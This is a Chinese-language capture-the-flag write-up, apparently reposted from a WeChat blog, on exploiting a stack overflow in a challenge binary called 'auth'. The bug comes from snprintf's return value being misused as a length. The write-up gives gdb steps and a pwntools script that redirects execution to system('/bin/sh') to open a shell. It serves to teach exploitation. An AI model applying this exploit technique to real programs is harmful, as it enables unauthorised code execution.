1. auth
栈不可执行,再看反编译源码。
看起来是个登录框,那个md5就是root123456,似乎打算让你输入root账户123456的密码就登录成功。
但显然这不是正确答案。仔细思考一下,这样设计会有点问题,我输入root1/23456也可以登录成功。
这说明有个字符串合并函数,正是__strcat()。
栈溢出点在snprintf(),这个函数是为了安全性代替sprintf(),它多了一个size参数(int32-v6),使得打印的字符串长度受限。
这里的代码为了将v5(账户)和v6(密码)先后放在s地址合并(最大长度32),先将v5放进s,size为32-0=32,获取len为snprintf()返回的长度。再将v6放进s,size为32-len。
假如v5长度为4(root),那么等于执行了两次snprintf为。
len = snprintf(s, 32, "%s", v5);//len=4
snprintf(s+len, 32-len, "%s", v6);
在gdb中给snprintf下断可以很清楚的看明白。
gdb auth
disass __strcat
b* 0x08048eda
r
AAAA
BBBB
c
这样看起来没问题,但snprintf的返回值并不是实际打印的字符个数,而是未经过size限制的个数,也就是说len就等于v5字符串的长度,如果v5长度超过32, 32-len就变成了负数,也就是很大的一个数字,同时第一个参数s+len也可以变成高位栈上的任意地址。比如我们输入32A+BBBB/CCCC,会破坏掉一个栈,在代码执行到最后的lea esp, [ecx-4]时发生错误。
gdb中具体的错误如下。
第二次snprintf如下。
可以看到maxlen明显负数溢出成一个很大的正数了,s地址也可以自己控制,那么我们需要将CCCC赋值到一个栈上的返回地址,它必须比0xffffd1d0更高。
stack 200
最近的有两个地址,先试试36+0xffffd1dc-0xffffd1d0=48并未引发崩溃。
再试试36+0xffffd1ec-0xffffd1d0=64
成功引发崩溃,而且EIP为CCCC,这题又提供了system和/bin/sh的后门地址。构造payload如下。
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
#sh = gdb.debug("./auth")
sh = process("./auth")
elf = ELF("./auth")
system_addr = elf.plt["system"]
binsh_addr = elf.search('/bin/sh').next()
print(sh.recvline())
sh.sendline("A"*64)
print(sh.recv())
sh.sendline(p32(system_addr)+"CCCC"+p32(binsh_addr))
sh.interactive()
这题特殊的地方在于,并不像其他栈溢出题一样,输入一个足够长的字符串就能引发程序崩溃,相反,过大的字符串只会覆盖到不重要的栈上反而能让代码执行成功。
https://github.com/kezibei/pwn_study/blob/main/auth
原文始发于微信公众号(珂技知识分享):web选手入门pwn(8)